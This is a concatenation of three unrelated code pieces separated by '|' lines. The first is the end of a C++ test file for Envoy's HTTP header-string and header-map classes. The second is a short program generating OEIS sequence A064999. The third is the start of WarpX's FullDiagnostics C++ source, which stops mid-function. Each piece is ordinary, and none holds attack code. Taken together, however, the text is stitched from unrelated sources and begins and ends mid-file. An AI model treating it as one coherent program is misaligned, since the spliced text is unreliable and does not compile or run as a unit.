string.setCopy(large_value1.c_str(), large_value1.size());
std::string large_value2(16384, 'b');
string.setCopy(large_value2.c_str(), large_value2.size());
EXPECT_STREQ(large_value2.c_str(), string.c_str());
EXPECT_NE(large_value2.c_str(), string.c_str());
EXPECT_EQ(16384U, string.size());
}
// Copy twice inline to dynamic
{
HeaderString string;
std::string large_value1(16, 'a');
string.setCopy(large_value1.c_str(), large_value1.size());
std::string large_value2(16384, 'b');
string.setCopy(large_value2.c_str(), large_value2.size());
EXPECT_STREQ(large_value2.c_str(), string.c_str());
EXPECT_NE(large_value2.c_str(), string.c_str());
EXPECT_EQ(16384U, string.size());
}
// Append, small buffer to dynamic
{
HeaderString string;
std::string test(127, 'a');
string.append(test.c_str(), test.size());
EXPECT_EQ(HeaderString::Type::Inline, string.type());
string.append("a", 1);
EXPECT_EQ(HeaderString::Type::Dynamic, string.type());
test += 'a';
EXPECT_STREQ(test.c_str(), string.c_str());
}
// Append into inline twice, then shift to dynamic.
{
HeaderString string;
string.append("hello", 5);
EXPECT_STREQ("hello", string.c_str());
EXPECT_EQ(5U, string.size());
string.append("world", 5);
EXPECT_STREQ("helloworld", string.c_str());
EXPECT_EQ(10U, string.size());
std::string large(4096, 'a');
string.append(large.c_str(), large.size());
large = "helloworld" + large;
EXPECT_STREQ(large.c_str(), string.c_str());
EXPECT_EQ(4106U, string.size());
}
// Append, realloc dynamic.
{
HeaderString string;
std::string large(128, 'a');
string.append(large.c_str(), large.size());
EXPECT_EQ(HeaderString::Type::Dynamic, string.type());
std::string large2 = large + large;
string.append(large2.c_str(), large2.size());
large += large2;
EXPECT_STREQ(large.c_str(), string.c_str());
EXPECT_EQ(384U, string.size());
}
// Append, realloc close to limit with small buffer.
{
HeaderString string;
std::string large(128, 'a');
string.append(large.c_str(), large.size());
EXPECT_EQ(HeaderString::Type::Dynamic, string.type());
std::string large2(120, 'b');
string.append(large2.c_str(), large2.size());
std::string large3(32, 'c');
string.append(large3.c_str(), large3.size());
EXPECT_STREQ((large + large2 + large3).c_str(), string.c_str());
EXPECT_EQ(280U, string.size());
}
// Set integer, inline
{
HeaderString string;
string.setInteger(123456789);
EXPECT_STREQ("123456789", string.c_str());
EXPECT_EQ(9U, string.size());
}
// Set integer, dynamic
{
HeaderString string;
std::string large(128, 'a');
string.append(large.c_str(), large.size());
string.setInteger(123456789);
EXPECT_STREQ("123456789", string.c_str());
EXPECT_EQ(9U, string.size());
EXPECT_EQ(HeaderString::Type::Dynamic, string.type());
}
// Set static, switch to dynamic, back to static.
{
const std::string static_string = "hello world";
HeaderString string;
string.setReference(static_string);
EXPECT_EQ(string.c_str(), static_string.c_str());
EXPECT_EQ(11U, string.size());
EXPECT_EQ(HeaderString::Type::Reference, string.type());
const std::string large(128, 'a');
string.setCopy(large.c_str(), large.size());
EXPECT_NE(string.c_str(), large.c_str());
EXPECT_EQ(HeaderString::Type::Dynamic, string.type());
string.setReference(static_string);
EXPECT_EQ(string.c_str(), static_string.c_str());
EXPECT_EQ(11U, string.size());
EXPECT_EQ(HeaderString::Type::Reference, string.type());
}
// getString
{
std::string static_string("HELLO");
HeaderString headerString1(static_string);
absl::string_view retString1 = headerString1.getStringView();
EXPECT_EQ("HELLO", retString1);
EXPECT_EQ(5U, retString1.size());
HeaderString headerString2;
absl::string_view retString2 = headerString2.getStringView();
EXPECT_EQ(0U, retString2.size());
}
}
TEST(HeaderMapImplTest, InlineInsert) {
HeaderMapImpl headers;
EXPECT_EQ(nullptr, headers.Host());
headers.insertHost().value(std::string("hello"));
EXPECT_STREQ(":authority", headers.Host()->key().c_str());
EXPECT_STREQ("hello", headers.Host()->value().c_str());
EXPECT_STREQ("hello", headers.get(Headers::get().Host)->value().c_str());
}
TEST(HeaderMapImplTest, MoveIntoInline) {
HeaderMapImpl headers;
HeaderString key;
key.setCopy(Headers::get().CacheControl.get().c_str(), Headers::get().CacheControl.get().size());
HeaderString value;
value.setCopy("hello", 5);
headers.addViaMove(std::move(key), std::move(value));
EXPECT_STREQ("cache-control", headers.CacheControl()->key().c_str());
EXPECT_STREQ("hello", headers.CacheControl()->value().c_str());
HeaderString key2;
key2.setCopy(Headers::get().CacheControl.get().c_str(), Headers::get().CacheControl.get().size());
HeaderString value2;
value2.setCopy("there", 5);
headers.addViaMove(std::move(key2), std::move(value2));
EXPECT_STREQ("cache-control", headers.CacheControl()->key().c_str());
EXPECT_STREQ("hello,there", headers.CacheControl()->value().c_str());
}
TEST(HeaderMapImplTest, Remove) {
HeaderMapImpl headers;
// Add random header and then remove by name.
LowerCaseString static_key("hello");
std::string ref_value("value");
headers.addReference(static_key, ref_value);
EXPECT_STREQ("value", headers.get(static_key)->value().c_str());
EXPECT_EQ(HeaderString::Type::Reference, headers.get(static_key)->value().type());
EXPECT_EQ(1UL, headers.size());
headers.remove(static_key);
EXPECT_EQ(nullptr, headers.get(static_key));
EXPECT_EQ(0UL, headers.size());
// Add and remove by inline.
headers.insertContentLength().value(5);
EXPECT_STREQ("5", headers.ContentLength()->value().c_str());
EXPECT_EQ(1UL, headers.size());
headers.removeContentLength();
EXPECT_EQ(nullptr, headers.ContentLength());
EXPECT_EQ(0UL, headers.size());
// Add inline and remove by name.
headers.insertContentLength().value(5);
EXPECT_STREQ("5", headers.ContentLength()->value().c_str());
EXPECT_EQ(1UL, headers.size());
headers.remove(Headers::get().ContentLength);
EXPECT_EQ(nullptr, headers.ContentLength());
EXPECT_EQ(0UL, headers.size());
}
TEST(HeaderMapImplTest, RemoveRegex) {
// These will match.
LowerCaseString key1 = LowerCaseString("X-prefix-foo");
LowerCaseString key3 = LowerCaseString("X-Prefix-");
LowerCaseString key5 = LowerCaseString("x-prefix-eep");
// These will not.
LowerCaseString key2 = LowerCaseString(" x-prefix-foo");
LowerCaseString key4 = LowerCaseString("y-x-prefix-foo");
HeaderMapImpl headers;
headers.addReference(key1, "value");
headers.addReference(key2, "value");
headers.addReference(key3, "value");
headers.addReference(key4, "value");
headers.addReference(key5, "value");
// Test removing the first header, middle headers, and the end header.
headers.removePrefix(LowerCaseString("x-prefix-"));
EXPECT_EQ(nullptr, headers.get(key1));
EXPECT_NE(nullptr, headers.get(key2));
EXPECT_EQ(nullptr, headers.get(key3));
EXPECT_NE(nullptr, headers.get(key4));
EXPECT_EQ(nullptr, headers.get(key5));
// Remove all headers.
headers.removePrefix(LowerCaseString(""));
EXPECT_EQ(nullptr, headers.get(key2));
EXPECT_EQ(nullptr, headers.get(key4));
// Add inline and remove by regex
headers.insertContentLength().value(5);
EXPECT_STREQ("5", headers.ContentLength()->value().c_str());
EXPECT_EQ(1UL, headers.size());
headers.removePrefix(LowerCaseString("content"));
EXPECT_EQ(nullptr, headers.ContentLength());
}
TEST(HeaderMapImplTest, SetRemovesAllValues) {
HeaderMapImpl headers;
LowerCaseString key1("hello");
LowerCaseString key2("olleh");
std::string ref_value1("world");
std::string ref_value2("planet");
std::string ref_value3("globe");
std::string ref_value4("earth");
std::string ref_value5("blue marble");
headers.addReference(key1, ref_value1);
headers.addReference(key2, ref_value2);
headers.addReference(key1, ref_value3);
headers.addReference(key1, ref_value4);
typedef testing::MockFunction<void(const std::string&, const std::string&)> MockCb;
{
MockCb cb;
InSequence seq;
EXPECT_CALL(cb, Call("hello", "world"));
EXPECT_CALL(cb, Call("olleh", "planet"));
EXPECT_CALL(cb, Call("hello", "globe"));
EXPECT_CALL(cb, Call("hello", "earth"));
headers.iterate(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
return HeaderMap::Iterate::Continue;
},
&cb);
}
headers.setReference(key1, ref_value5); // set moves key to end
{
MockCb cb;
InSequence seq;
EXPECT_CALL(cb, Call("olleh", "planet"));
EXPECT_CALL(cb, Call("hello", "blue marble"));
headers.iterate(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
return HeaderMap::Iterate::Continue;
},
&cb);
}
}
TEST(HeaderMapImplTest, DoubleInlineAdd) {
{
HeaderMapImpl headers;
const std::string foo("foo");
const std::string bar("bar");
headers.addReference(Headers::get().ContentLength, foo);
headers.addReference(Headers::get().ContentLength, bar);
EXPECT_STREQ("foo,bar", headers.ContentLength()->value().c_str());
EXPECT_EQ(1UL, headers.size());
}
{
HeaderMapImpl headers;
headers.addReferenceKey(Headers::get().ContentLength, "foo");
headers.addReferenceKey(Headers::get().ContentLength, "bar");
EXPECT_STREQ("foo,bar", headers.ContentLength()->value().c_str());
EXPECT_EQ(1UL, headers.size());
}
{
HeaderMapImpl headers;
headers.addReferenceKey(Headers::get().ContentLength, 5);
headers.addReferenceKey(Headers::get().ContentLength, 6);
EXPECT_STREQ("5,6", headers.ContentLength()->value().c_str());
EXPECT_EQ(1UL, headers.size());
}
{
HeaderMapImpl headers;
const std::string foo("foo");
headers.addReference(Headers::get().ContentLength, foo);
headers.addReferenceKey(Headers::get().ContentLength, 6);
EXPECT_STREQ("foo,6", headers.ContentLength()->value().c_str());
EXPECT_EQ(1UL, headers.size());
}
}
TEST(HeaderMapImplTest, DoubleInlineSet) {
HeaderMapImpl headers;
headers.setReferenceKey(Headers::get().ContentType, "blah");
headers.setReferenceKey(Headers::get().ContentType, "text/html");
EXPECT_STREQ("text/html", headers.ContentType()->value().c_str());
EXPECT_EQ(1UL, headers.size());
}
TEST(HeaderMapImplTest, AddReferenceKey) {
HeaderMapImpl headers;
LowerCaseString foo("hello");
headers.addReferenceKey(foo, "world");
EXPECT_NE("world", headers.get(foo)->value().c_str());
EXPECT_STREQ("world", headers.get(foo)->value().c_str());
}
TEST(HeaderMapImplTest, SetReferenceKey) {
HeaderMapImpl headers;
LowerCaseString foo("hello");
headers.setReferenceKey(foo, "world");
EXPECT_NE("world", headers.get(foo)->value().c_str());
EXPECT_STREQ("world", headers.get(foo)->value().c_str());
headers.setReferenceKey(foo, "monde");
EXPECT_NE("monde", headers.get(foo)->value().c_str());
EXPECT_STREQ("monde", headers.get(foo)->value().c_str());
}
TEST(HeaderMapImplTest, AddCopy) {
HeaderMapImpl headers;
// Start with a string value.
std::unique_ptr<LowerCaseString> lcKeyPtr(new LowerCaseString("hello"));
headers.addCopy(*lcKeyPtr, "world");
const HeaderString& value = headers.get(*lcKeyPtr)->value();
EXPECT_STREQ("world", value.c_str());
EXPECT_EQ(5UL, value.size());
lcKeyPtr.reset();
const HeaderString& value2 = headers.get(LowerCaseString("hello"))->value();
EXPECT_STREQ("world", value2.c_str());
EXPECT_EQ(5UL, value2.size());
EXPECT_EQ(value.c_str(), value2.c_str());
EXPECT_EQ(1UL, headers.size());
// Repeat with an int value.
//
// addReferenceKey and addCopy can both add multiple instances of a
// given header, so we need to delete the old "hello" header.
headers.remove(LowerCaseString("hello"));
// Build "hello" with string concatenation to make it unlikely that the
// compiler is just reusing the same string constant for everything.
lcKeyPtr = std::make_unique<LowerCaseString>(std::string("he") + "llo");
EXPECT_STREQ("hello", lcKeyPtr->get().c_str());
headers.addCopy(*lcKeyPtr, 42);
const HeaderString& value3 = headers.get(*lcKeyPtr)->value();
EXPECT_STREQ("42", value3.c_str());
EXPECT_EQ(2UL, value3.size());
lcKeyPtr.reset();
const HeaderString& value4 = headers.get(LowerCaseString("hello"))->value();
EXPECT_STREQ("42", value4.c_str());
EXPECT_EQ(2UL, value4.size());
EXPECT_EQ(1UL, headers.size());
// Here, again, we'll build yet another key string.
LowerCaseString lcKey3(std::string("he") + "ll" + "o");
EXPECT_STREQ("hello", lcKey3.get().c_str());
EXPECT_STREQ("42", headers.get(lcKey3)->value().c_str());
EXPECT_EQ(2UL, headers.get(lcKey3)->value().size());
LowerCaseString cache_control("cache-control");
headers.addCopy(cache_control, "max-age=1345");
EXPECT_STREQ("max-age=1345", headers.get(cache_control)->value().c_str());
EXPECT_STREQ("max-age=1345", headers.CacheControl()->value().c_str());
headers.addCopy(cache_control, "public");
EXPECT_STREQ("max-age=1345,public", headers.get(cache_control)->value().c_str());
headers.addCopy(cache_control, "");
EXPECT_STREQ("max-age=1345,public", headers.get(cache_control)->value().c_str());
headers.addCopy(cache_control, 123);
EXPECT_STREQ("max-age=1345,public,123", headers.get(cache_control)->value().c_str());
headers.addCopy(cache_control, std::numeric_limits<uint64_t>::max());
EXPECT_STREQ("max-age=1345,public,123,18446744073709551615",
headers.get(cache_control)->value().c_str());
}
TEST(HeaderMapImplTest, Equality) {
TestHeaderMapImpl headers1;
TestHeaderMapImpl headers2;
EXPECT_EQ(headers1, headers2);
headers1.addCopy("hello", "world");
EXPECT_FALSE(headers1 == headers2);
headers2.addCopy("foo", "bar");
EXPECT_FALSE(headers1 == headers2);
}
TEST(HeaderMapImplTest, LargeCharInHeader) {
HeaderMapImpl headers;
LowerCaseString static_key("\x90hello");
std::string ref_value("value");
headers.addReference(static_key, ref_value);
EXPECT_STREQ("value", headers.get(static_key)->value().c_str());
}
TEST(HeaderMapImplTest, Iterate) {
TestHeaderMapImpl headers;
headers.addCopy("hello", "world");
headers.addCopy("foo", "xxx");
headers.addCopy("world", "hello");
LowerCaseString foo_key("foo");
headers.setReferenceKey(foo_key, "bar"); // set moves key to end
typedef testing::MockFunction<void(const std::string&, const std::string&)> MockCb;
MockCb cb;
InSequence seq;
EXPECT_CALL(cb, Call("hello", "world"));
EXPECT_CALL(cb, Call("world", "hello"));
EXPECT_CALL(cb, Call("foo", "bar"));
headers.iterate(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
return HeaderMap::Iterate::Continue;
},
&cb);
}
TEST(HeaderMapImplTest, IterateReverse) {
TestHeaderMapImpl headers;
headers.addCopy("hello", "world");
headers.addCopy("foo", "bar");
LowerCaseString world_key("world");
headers.setReferenceKey(world_key, "hello");
typedef testing::MockFunction<void(const std::string&, const std::string&)> MockCb;
MockCb cb;
InSequence seq;
EXPECT_CALL(cb, Call("world", "hello"));
EXPECT_CALL(cb, Call("foo", "bar"));
// no "hello"
headers.iterateReverse(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
if ("foo" != std::string{header.key().c_str()}) {
return HeaderMap::Iterate::Continue;
} else {
return HeaderMap::Iterate::Break;
}
},
&cb);
}
TEST(HeaderMapImplTest, Lookup) {
TestHeaderMapImpl headers;
headers.addCopy("hello", "world");
headers.insertContentLength().value(5);
// Lookup is not supported for non predefined inline headers.
{
const HeaderEntry* entry;
EXPECT_EQ(HeaderMap::Lookup::NotSupported, headers.lookup(LowerCaseString{"hello"}, &entry));
EXPECT_EQ(nullptr, entry);
}
// Lookup returns the entry of a predefined inline header if it exists.
{
const HeaderEntry* entry;
EXPECT_EQ(HeaderMap::Lookup::Found, headers.lookup(Headers::get().ContentLength, &entry));
EXPECT_STREQ("5", entry->value().c_str());
}
// Lookup returns HeaderMap::Lookup::NotFound if a predefined inline header does not exist.
{
const HeaderEntry* entry;
EXPECT_EQ(HeaderMap::Lookup::NotFound, headers.lookup(Headers::get().Host, &entry));
EXPECT_EQ(nullptr, entry);
}
}
TEST(HeaderMapImplTest, Get) {
{
const TestHeaderMapImpl headers{{":path", "/"}, {"hello", "world"}};
EXPECT_STREQ("/", headers.get(LowerCaseString(":path"))->value().c_str());
EXPECT_STREQ("world", headers.get(LowerCaseString("hello"))->value().c_str());
EXPECT_EQ(nullptr, headers.get(LowerCaseString("foo")));
}
{
TestHeaderMapImpl headers{{":path", "/"}, {"hello", "world"}};
headers.get(LowerCaseString(":path"))->value(std::string("/new_path"));
EXPECT_STREQ("/new_path", headers.get(LowerCaseString(":path"))->value().c_str());
headers.get(LowerCaseString("hello"))->value(std::string("world2"));
EXPECT_STREQ("world2", headers.get(LowerCaseString("hello"))->value().c_str());
EXPECT_EQ(nullptr, headers.get(LowerCaseString("foo")));
}
}
TEST(HeaderMapImplTest, TestAppendHeader) {
// Test appending to a string with a value.
{
HeaderString value1;
value1.setCopy("some;", 5);
HeaderMapImpl::appendToHeader(value1, "test");
EXPECT_EQ(value1, "some;,test");
}
// Test appending to an empty string.
{
HeaderString value2;
HeaderMapImpl::appendToHeader(value2, "my tag data");
EXPECT_EQ(value2, "my tag data");
}
// Test empty data case.
{
HeaderString value3;
value3.setCopy("empty", 5);
HeaderMapImpl::appendToHeader(value3, "");
EXPECT_EQ(value3, "empty");
}
// Regression test for appending to an empty string with a short string, then
// setting integer.
{
const std::string empty;
HeaderString value4(empty);
HeaderMapImpl::appendToHeader(value4, " ");
value4.setInteger(0);
EXPECT_STREQ("0", value4.c_str());
EXPECT_EQ(1U, value4.size());
}
}
TEST(HeaderMapImplDeathTest, TestHeaderLengthChecks) {
HeaderString value;
value.setCopy("some;", 5);
EXPECT_DEATH_LOG_TO_STDERR(value.append(nullptr, std::numeric_limits<uint32_t>::max()),
"Trying to allocate overly large headers.");
std::string source("hello");
HeaderString reference;
reference.setReference(source);
EXPECT_DEATH_LOG_TO_STDERR(reference.append(nullptr, std::numeric_limits<uint32_t>::max()),
"Trying to allocate overly large headers.");
}
TEST(HeaderMapImplTest, PseudoHeaderOrder) {
typedef testing::MockFunction<void(const std::string&, const std::string&)> MockCb;
MockCb cb;
{
LowerCaseString foo("hello");
Http::TestHeaderMapImpl headers{};
EXPECT_EQ(0UL, headers.size());
headers.addReferenceKey(foo, "world");
EXPECT_EQ(1UL, headers.size());
headers.setReferenceKey(Headers::get().ContentType, "text/html");
EXPECT_EQ(2UL, headers.size());
// Pseudo header gets inserted before non-pseudo headers
headers.setReferenceKey(Headers::get().Method, "PUT");
EXPECT_EQ(3UL, headers.size());
InSequence seq;
EXPECT_CALL(cb, Call(":method", "PUT"));
EXPECT_CALL(cb, Call("hello", "world"));
EXPECT_CALL(cb, Call("content-type", "text/html"));
headers.iterate(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
return HeaderMap::Iterate::Continue;
},
&cb);
// Removal of the header before which pseudo-headers are inserted
headers.remove(foo);
EXPECT_EQ(2UL, headers.size());
EXPECT_CALL(cb, Call(":method", "PUT"));
EXPECT_CALL(cb, Call("content-type", "text/html"));
headers.iterate(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
return HeaderMap::Iterate::Continue;
},
&cb);
// Next pseudo-header goes after other pseudo-headers, but before normal headers
headers.setReferenceKey(Headers::get().Path, "/test");
EXPECT_EQ(3UL, headers.size());
EXPECT_CALL(cb, Call(":method", "PUT"));
EXPECT_CALL(cb, Call(":path", "/test"));
EXPECT_CALL(cb, Call("content-type", "text/html"));
headers.iterate(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
return HeaderMap::Iterate::Continue;
},
&cb);
// Removing the last normal header
headers.remove(Headers::get().ContentType);
EXPECT_EQ(2UL, headers.size());
EXPECT_CALL(cb, Call(":method", "PUT"));
EXPECT_CALL(cb, Call(":path", "/test"));
headers.iterate(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
return HeaderMap::Iterate::Continue;
},
&cb);
// Adding a new pseudo-header after removing the last normal header
headers.setReferenceKey(Headers::get().Host, "host");
EXPECT_EQ(3UL, headers.size());
EXPECT_CALL(cb, Call(":method", "PUT"));
EXPECT_CALL(cb, Call(":path", "/test"));
EXPECT_CALL(cb, Call(":authority", "host"));
headers.iterate(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
return HeaderMap::Iterate::Continue;
},
&cb);
// Adding the first normal header
headers.setReferenceKey(Headers::get().ContentType, "text/html");
EXPECT_EQ(4UL, headers.size());
EXPECT_CALL(cb, Call(":method", "PUT"));
EXPECT_CALL(cb, Call(":path", "/test"));
EXPECT_CALL(cb, Call(":authority", "host"));
EXPECT_CALL(cb, Call("content-type", "text/html"));
headers.iterate(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
return HeaderMap::Iterate::Continue;
},
&cb);
// Removing all pseudo-headers
headers.remove(Headers::get().Path);
headers.remove(Headers::get().Method);
headers.remove(Headers::get().Host);
EXPECT_EQ(1UL, headers.size());
EXPECT_CALL(cb, Call("content-type", "text/html"));
headers.iterate(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
return HeaderMap::Iterate::Continue;
},
&cb);
// Removing all headers
headers.remove(Headers::get().ContentType);
EXPECT_EQ(0UL, headers.size());
// Adding a lone pseudo-header
headers.setReferenceKey(Headers::get().Status, "200");
EXPECT_EQ(1UL, headers.size());
EXPECT_CALL(cb, Call(":status", "200"));
headers.iterate(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
return HeaderMap::Iterate::Continue;
},
&cb);
}
// Starting with a normal header
{
Http::TestHeaderMapImpl headers{{"content-type", "text/plain"},
{":method", "GET"},
{":path", "/"},
{"hello", "world"},
{":authority", "host"}};
InSequence seq;
EXPECT_CALL(cb, Call(":method", "GET"));
EXPECT_CALL(cb, Call(":path", "/"));
EXPECT_CALL(cb, Call(":authority", "host"));
EXPECT_CALL(cb, Call("content-type", "text/plain"));
EXPECT_CALL(cb, Call("hello", "world"));
headers.iterate(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
return HeaderMap::Iterate::Continue;
},
&cb);
}
// Starting with a pseudo-header
{
Http::TestHeaderMapImpl headers{{":path", "/"},
{"content-type", "text/plain"},
{":method", "GET"},
{"hello", "world"},
{":authority", "host"}};
InSequence seq;
EXPECT_CALL(cb, Call(":path", "/"));
EXPECT_CALL(cb, Call(":method", "GET"));
EXPECT_CALL(cb, Call(":authority", "host"));
EXPECT_CALL(cb, Call("content-type", "text/plain"));
EXPECT_CALL(cb, Call("hello", "world"));
headers.iterate(
[](const Http::HeaderEntry& header, void* cb_v) -> HeaderMap::Iterate {
static_cast<MockCb*>(cb_v)->Call(header.key().c_str(), header.value().c_str());
return HeaderMap::Iterate::Continue;
},
&cb);
}
}
// Validate that TestHeaderMapImpl copy construction and assignment works. This is a
// regression for where we were missing a valid copy constructor and had the
// default (dangerous) move semantics takeover.
TEST(HeaderMapImplTest, TestHeaderMapImplyCopy) {
TestHeaderMapImpl foo;
foo.addCopy(LowerCaseString("foo"), "bar");
auto headers = std::make_unique<TestHeaderMapImpl>(foo);
EXPECT_STREQ("bar", headers->get(LowerCaseString("foo"))->value().c_str());
TestHeaderMapImpl baz{{"foo", "baz"}};
baz = *headers;
EXPECT_STREQ("bar", baz.get(LowerCaseString("foo"))->value().c_str());
const TestHeaderMapImpl& baz2 = baz;
baz = baz2;
EXPECT_STREQ("bar", baz.get(LowerCaseString("foo"))->value().c_str());
}
} // namespace Http
} // namespace Envoy
|
; A064999: Partial sums of sequence (essentially A002378): 1, 2, 6, 12, 20, 30, 42, 56, 72, 90, ...
; 1,3,9,21,41,71,113,169,241,331,441,573,729,911,1121,1361,1633,1939,2281,2661,3081,3543,4049,4601,5201,5851,6553,7309,8121,8991,9921,10913,11969,13091,14281,15541,16873,18279,19761,21321,22961,24683,26489,28381,30361,32431,34593,36849,39201,41651,44201,46853,49609,52471,55441,58521,61713,65019,68441,71981,75641,79423,83329,87361,91521,95811,100233,104789,109481,114311,119281,124393,129649,135051,140601,146301,152153,158159,164321,170641,177121,183763,190569,197541,204681,211991,219473,227129
add $0,2
bin $0,3
mul $0,2
add $0,1
|
#include "FullDiagnostics.H"
#include "ComputeDiagFunctors/CellCenterFunctor.H"
#include "ComputeDiagFunctors/DivBFunctor.H"
#include "ComputeDiagFunctors/DivEFunctor.H"
#include "ComputeDiagFunctors/PartPerCellFunctor.H"
#include "ComputeDiagFunctors/PartPerGridFunctor.H"
#include "ComputeDiagFunctors/RhoFunctor.H"
#include "Diagnostics/Diagnostics.H"
#include "Diagnostics/ParticleDiag/ParticleDiag.H"
#include "FlushFormats/FlushFormat.H"
#include "Particles/MultiParticleContainer.H"
#include "Utils/WarpXAlgorithmSelection.H"
#include "WarpX.H"
#include <AMReX.H>
#include <AMReX_Array.H>
#include <AMReX_BLassert.H>
#include <AMReX_Box.H>
#include <AMReX_BoxArray.H>
#include <AMReX_Config.H>
#include <AMReX_CoordSys.H>
#include <AMReX_DistributionMapping.H>
#include <AMReX_Geometry.H>
#include <AMReX_IntVect.H>
#include <AMReX_MakeType.H>
#include <AMReX_MultiFab.H>
#include <AMReX_ParmParse.H>
#include <AMReX_REAL.H>
#include <AMReX_RealBox.H>
#include <AMReX_Vector.H>
#include <algorithm>
#include <cmath>
#include <memory>
#include <vector>
using namespace amrex::literals;
FullDiagnostics::FullDiagnostics (int i, std::string name)
: Diagnostics(i, name)
{
ReadParameters();
BackwardCompatibility();
}
void
FullDiagnostics::InitializeParticleBuffer ()
{
// When particle buffers are included, the vector of particle containers
// must be allocated in this function.
// Initialize data in the base class Diagnostics
auto & warpx = WarpX::GetInstance();
const MultiParticleContainer& mpc = warpx.GetPartContainer();
// If not specified, dump all species
if (m_output_species_names.empty()) m_output_species_names = mpc.GetSpeciesNames();
// Initialize one ParticleDiag per species requested
for (auto const& species : m_output_species_names){
const int idx = mpc.getSpeciesID(species);
m_output_species.push_back(ParticleDiag(m_diag_name, species, mpc.GetParticleContainerPtr(idx)));
}
}
void
FullDiagnostics::ReadParameters ()
{
// Read list of full diagnostics fields requested by the user.
bool checkpoint_compatibility = BaseReadParameters();
amrex::ParmParse pp_diag_name(m_diag_name);
AMREX_ALWAYS_ASSERT_WITH_MESSAGE(
m_format == "plotfile" || m_format == "openpmd" ||
m_format == "checkpoint" || m_format == "ascent" ||
m_format == "sensei",
"<diag>.format must be plotfile or openpmd or checkpoint or ascent or sensei");
std::vector<std::string> intervals_string_vec = {"0"};
pp_diag_name.queryarr("intervals", intervals_string_vec);
m_intervals = IntervalsParser(intervals_string_vec);
bool raw_specified = pp_diag_name.query("plot_raw_fields", m_plot_raw_fields);
raw_specified += pp_diag_name.query("plot_raw_fields_guards", m_plot_raw_fields_guards);
raw_specified += pp_diag_name.query("plot_raw_rho", m_plot_raw_rho);
#ifdef WARPX_DIM_RZ
pp_diag_name.query("dump_rz_modes", m_dump_rz_modes);
#else
amrex::ignore_unused(m_dump_rz_modes);
#endif
if (m_format == "checkpoint"){
AMREX_ALWAYS_ASSERT_WITH_MESSAGE(
raw_specified == false &&
checkpoint_compatibility == true,
"For a checkpoint output, cannot specify these parameters as all data must be dumped "
"to file for a restart");
}
// Number of buffers = 1 for FullDiagnostics.
// It is used to allocate the number of output multi-level MultiFab, m_mf_output
m_num_buffers = 1;
}
void
FullDiagnostics::BackwardCompatibility ()
{
amrex::ParmParse pp_diag_name(m_diag_name);
std::vector<std::string> backward_strings;
if (pp_diag_name.queryarr("period", backward_strings)){
amrex::Abort("<diag_name>.period is no longer a valid option. "
"Please use the renamed option <diag_name>.intervals instead.");
}
}
void
FullDiagnostics::Flush ( int i_buffer )
{
// This function should be moved to Diagnostics when plotfiles/openpmd format
// is supported for BackTransformed Diagnostics, in BTDiagnostics class.
auto & warpx = WarpX::GetInstance();
m_flush_format->WriteToFile(
m_varnames, m_mf_output[i_buffer], m_geom_output[i_buffer], warpx.getistep(),
warpx.gett_new(0), m_output_species, nlev_output, m_file_prefix, m_file_min_digits,
m_plot_raw_fields, m_plot_raw_fields_guards, m_plot_raw_rho, m_plot_raw_F);
FlushRaw();
}
void
FullDiagnostics::FlushRaw () {}
bool
FullDiagnostics::DoDump (int step, int /*i_buffer*/, bool force_flush)
{
if (m_already_done) return false;
if ( force_flush || (m_intervals.contains(step+1)) ){
m_already_done = true;
return true;
}
return false;
}
bool
FullDiagnostics::DoComputeAndPack (int step, bool force_flush)
{
// Data must be computed and packed for full diagnostics
// whenever the data needs to be flushed.
if (force_flush || m_intervals.contains(step+1) ){
return true;
}
return false;
}
void
FullDiagnostics::AddRZModesToDiags (int lev)
{
#ifdef WARPX_DIM_RZ
if (!m_dump_rz_modes) return;
auto & warpx = WarpX::GetInstance();
int ncomp_multimodefab = warpx.get_pointer_Efield_aux(0, 0)->nComp();
// Make sure all multifabs have the same number of components
for (int dim=0; dim<3; dim++){
AMREX_ALWAYS_ASSERT(
warpx.get_pointer_Efield_aux(lev, dim)->nComp() == ncomp_multimodefab );
AMREX_ALWAYS_ASSERT(
warpx.get_pointer_Bfield_aux(lev, dim)->nComp() == ncomp_multimodefab );
AMREX_ALWAYS_ASSERT(
warpx.get_pointer_current_fp(lev, dim)->nComp() == ncomp_multimodefab );
}
// Check if divE is requested
// If so, all components will be written out
bool divE_requested = false;
for (int comp = 0; comp < m_varnames.size(); comp++) {
if ( m_varnames[comp] == "divE" ) {
divE_requested = true;
}
}
// If rho is requested, all components will be written out
bool rho_requested = WarpXUtilStr::is_in( m_varnames, "rho" );
// First index of m_all_field_functors[lev] where RZ modes are stored
int icomp = m_all_field_functors[0].size();
const std::array<std::string, 3> coord {"r", "theta", "z"};
